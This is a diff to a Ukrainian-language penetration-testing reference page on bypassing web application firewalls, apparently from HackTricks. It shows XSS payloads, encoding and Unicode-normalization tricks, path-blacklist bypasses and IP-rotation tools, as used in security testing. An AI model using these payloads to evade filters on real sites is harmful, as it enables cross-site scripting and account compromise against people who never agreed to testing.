+- У Burp Repeater використовуйте "Send group in parallel" (стиль одного пакета), щоб змагатися з двома запитами (`.js`, а потім HTML) через той самий фронтальний шлях.
+
+Це добре поєднується з отруєнням кешу відображення заголовків. Дивіться:
+
+- {{#ref}}
+cache-deception/README.md
+{{#endref}}
+- [Як я знайшов 0-Click Account takeover у публічному BBP і використав це для доступу до функцій на рівні адміністратора](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
+
+### Обфускація <a href="#ip-rotation" id="ip-rotation"></a>
 ```bash
 # IIS, ASP Clasic
 <%s%cr%u0131pt> == <script>
@ -131,9 +148,9 @@ Connection: close\r\n
 # Path blacklist bypass - Tomcat
 /path1/path2/ == ;/path1;foo/path2;bar/;
 ```
-### Unicode Сумісність <a href="#unicode-compatability" id="unicode-compatability"></a>
+### Unicode Совместимість <a href="#unicode-compatability" id="unicode-compatability"></a>

-Залежно від реалізації нормалізації Unicode (більше інформації [тут](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), символи, які мають сумісність Unicode, можуть обійти WAF і виконатися як передбачений корисний вантаж. Сумісні символи можна знайти [тут](https://www.compart.com/en/unicode).
+В залежності від реалізації нормалізації Unicode (більше інформації [тут](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), символи, які мають сумісність Unicode, можуть обійти WAF і виконатися як заплановане навантаження. Сумісні символи можна знайти [тут](https://www.compart.com/en/unicode).

 #### Приклад <a href="#example" id="example"></a>
 ```bash
@ -143,13 +160,13 @@ Connection: close\r\n
 ```
 ### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>

-Як згадувалося в [**цьому блозі**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), щоб обійти WAF, здатні підтримувати контекст введення користувача, ми можемо зловживати техніками WAF для нормалізації введення користувачів.
+Як згадувалося в [**цьому блозі**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), для обходу WAF, які здатні підтримувати контекст введення користувача, ми можемо зловживати техніками WAF, щоб фактично нормалізувати введення користувачів.

-Наприклад, у пості згадується, що **Akamai декодував введення користувача 10 разів**. Тому щось на кшталт `<input/%2525252525252525253e/onfocus` буде сприйнято Akamai як `<input/>/onfocus`, що **може здатися нормальним, оскільки тег закритий**. Однак, поки додаток не декодує введення 10 разів, жертва побачить щось на кшталт `<input/%25252525252525253e/onfocus`, що **все ще є дійсним для атаки XSS**.
+Наприклад, у пості згадується, що **Akamai декодував введення користувача 10 разів**. Тому щось на кшталт `<input/%2525252525252525253e/onfocus` буде сприйнято Akamai як `<input/>/onfocus`, що **може бути вважатися допустимим, оскільки тег закритий**. Однак, поки додаток не декодує введення 10 разів, жертва побачить щось на кшталт `<input/%25252525252525253e/onfocus`, що **все ще є дійсним для атаки XSS**.

-Отже, це дозволяє **сховати корисні навантаження в закодованих компонентах**, які WAF декодує та інтерпретує, тоді як жертва цього не побачить.
+Отже, це дозволяє **сховати корисні навантаження в закодованих компонентах**, які WAF декодує та інтерпретує, в той час як жертва цього не побачить.

-Більше того, це можна зробити не лише з URL закодованими навантаженнями, але й з іншими кодуваннями, такими як unicode, hex, octal...
+Більше того, це можна зробити не тільки з URL закодованими корисними навантаженнями, але й з іншими кодуваннями, такими як unicode, hex, octal...

 У пості пропонуються наступні фінальні обходи:

@ -172,13 +189,13 @@ h2c-smuggling.md

 - [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Генерація URL API шлюзу для використання з ffuf
 - [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Схоже на fireprox
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Плагін Burp Suite, який використовує IP API шлюзів
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Динамічно визначена кількість контейнерів активується на основі розміру вхідного файлу та фактора розподілу, при цьому вхідний файл розбивається на частини для паралельного виконання, наприклад, 100 екземплярів обробляють 100 частин з вхідного файлу на 10,000 рядків з фактором розподілу 100 рядків.
+- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Плагін Burp Suite, який використовує IP-адреси API шлюзу
+- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Динамічно визначена кількість контейнерних екземплярів активується на основі розміру вхідного файлу та фактора розподілу, при цьому вхідний файл розбивається на частини для паралельного виконання, наприклад, 100 екземплярів обробляють 100 частин з вхідного файлу на 10,000 рядків з фактором розподілу 100 рядків.
 - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)

 ### Regex Bypasses

-Різні техніки можуть бути використані для обходу regex фільтрів на брандмауерах. Приклади включають чергування регістрів, додавання переносів рядків та кодування навантажень. Ресурси для різних обходів можна знайти на [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) та [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Приклади нижче були взяті з [цього артикулу](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
+Різні техніки можуть бути використані для обходу regex фільтрів на брандмауерах. Приклади включають чергування регістру, додавання переносів рядків та кодування корисних навантажень. Ресурси для різних обходів можна знайти на [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) та [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Приклади нижче були взяті з [цього артикулу](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
 ```bash
 <sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
 <<script>alert(XSS)</script> #prepending an additional "<"
@ -209,6 +226,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
 - [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
 - [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
 - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
+- [Як я знайшов 0-Click захоплення облікового запису в публічному BBP і використав це для доступу до функцій рівня адміністратора](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)


 {{#include ../banners/hacktricks-training.md}}